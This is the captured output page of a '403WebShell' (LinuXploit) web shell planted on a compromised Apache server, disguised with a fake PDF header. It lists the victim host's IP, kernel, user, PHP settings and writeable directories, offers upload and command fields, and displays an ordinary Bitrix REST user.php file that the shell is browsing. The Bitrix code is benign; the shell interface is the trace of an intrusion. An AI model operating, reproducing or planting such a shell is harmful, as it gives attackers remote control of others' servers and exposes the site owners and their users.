%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.15.239.209
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/rest/user.php
<?php
namespace Bitrix\Main\Rest;

use Bitrix\Main;
use Bitrix\Rest;

if(Main\Loader::includeModule("rest")):

class User extends \IRestService
{
	public static function getHistoryList($query, $nav = 0, \CRestServer $server)
	{
		global $USER;

		$query = array_change_key_case($query, CASE_LOWER);

		$filter = (isset($query['filter'])? $query['filter'] : array());
		$order = (isset($query['order'])? $query['order'] : array('ID' => 'DESC'));

		static $filterFields = array("USER_ID", "DATE_INSERT", "EVENT_TYPE", "REMOTE_ADDR", "USER_AGENT", "REQUEST_URI", "FIELD");
		static $orderFields = array("ID");

		$queryFilter = static::sanitizeFilter(
			$filter,
			$filterFields,
			function($field, $value, $operation)
			{
				switch($field)
				{
					case 'DATE_INSERT':
						return Main\Type\DateTime::createFromUserTime(\CRestUtil::unConvertDateTime($value));
						break;
					case 'USER_ID':
					case 'FIELD':
						if($operation <> '=')
						{
							throw new Rest\RestException("Only '=' operation is allowed for the filter field {$field}.", Rest\RestException::ERROR_ARGUMENT, \CRestServer::STATUS_WRONG_REQUEST);
						}
						break;

				}
				return $value;
			}
		);

		if(!isset($queryFilter["=USER_ID"]))
		{
			throw new Rest\RestException("USER_ID filter field is required.", Rest\RestException::ERROR_ARGUMENT, \CRestServer::STATUS_WRONG_REQUEST);
		}

		if(!$USER->CanDoOperation('edit_all_users') && $queryFilter["=USER_ID"] <> $USER->GetID())
		{
			throw new Rest\AccessException();
		}

		if(isset($queryFilter["=FIELD"]))
		{
			$queryFilter['=\Bitrix\Main\UserProfileRecordTable:HISTORY.FIELD'] = $queryFilter["=FIELD"];
			unset($queryFilter["=FIELD"]);
		}

		$order = static::sanitizeOrder($order, $orderFields);

		$navParams = static::getNavData($nav, true);

		$dbRes = Main\UserProfileHistoryTable::getList(array(
			'filter' => $queryFilter,
			'limit' => $navParams['limit'],
			'offset' => $navParams['offset'],
			'count_total' => true,
			'order' => $order,
		));

		$result = array();
		while($event = $dbRes->fetch())
		{
			/** @var Main\Type\DateTime $ts */
			$ts = $event['DATE_INSERT'];
			$event['DATE_INSERT'] = \CRestUtil::convertDateTime($ts->toString());

			$result[] = $event;
		}

		return static::setNavData($result, array(
			"count" => $dbRes->getCount(),
			"offset" => $navParams['offset']
		));
	}

	public static function getHistoryFieldsList($query, $nav = 0, \CRestServer $server)
	{
		global $USER;

		$query = array_change_key_case($query, CASE_LOWER);

		$filter = (isset($query['filter'])? $query['filter'] : array());
		$order = (isset($query['order'])? $query['order'] : array('ID' => 'ASC'));

		static $filterFields = array("HISTORY_ID", "FIELD");
		static $orderFields = array("ID");

		$queryFilter = static::sanitizeFilter(
			$filter,
			$filterFields,
			function($field, $value, $operation)
			{
				switch($field)
				{
					case 'HISTORY_ID':
					case 'FIELD':
						if($operation <> '=')
						{
							throw new Rest\RestException("Only '=' operation is allowed for the filter field {$field}.", Rest\RestException::ERROR_ARGUMENT, \CRestServer::STATUS_WRONG_REQUEST);
						}
						break;

				}
				return $value;
			}
		);

		if(!isset($queryFilter["=HISTORY_ID"]))
		{
			throw new Rest\RestException("HISTORY_ID filter field is required.", Rest\RestException::ERROR_ARGUMENT, \CRestServer::STATUS_WRONG_REQUEST);
		}

		if(!$USER->CanDoOperation('edit_all_users'))
		{
			$queryFilter["=HISTORY.USER_ID"] = $USER->GetID();
		}

		$order = static::sanitizeOrder($order, $orderFields);

		$dbRes = Main\UserProfileRecordTable::getList(array(
			'filter' => $queryFilter,
			'order' => $order,
		));

		$result = $dbRes->fetchAll();

		return $result;
	}
}

endif;

Youez - 2016 - github.com/yon3zu
LinuXploit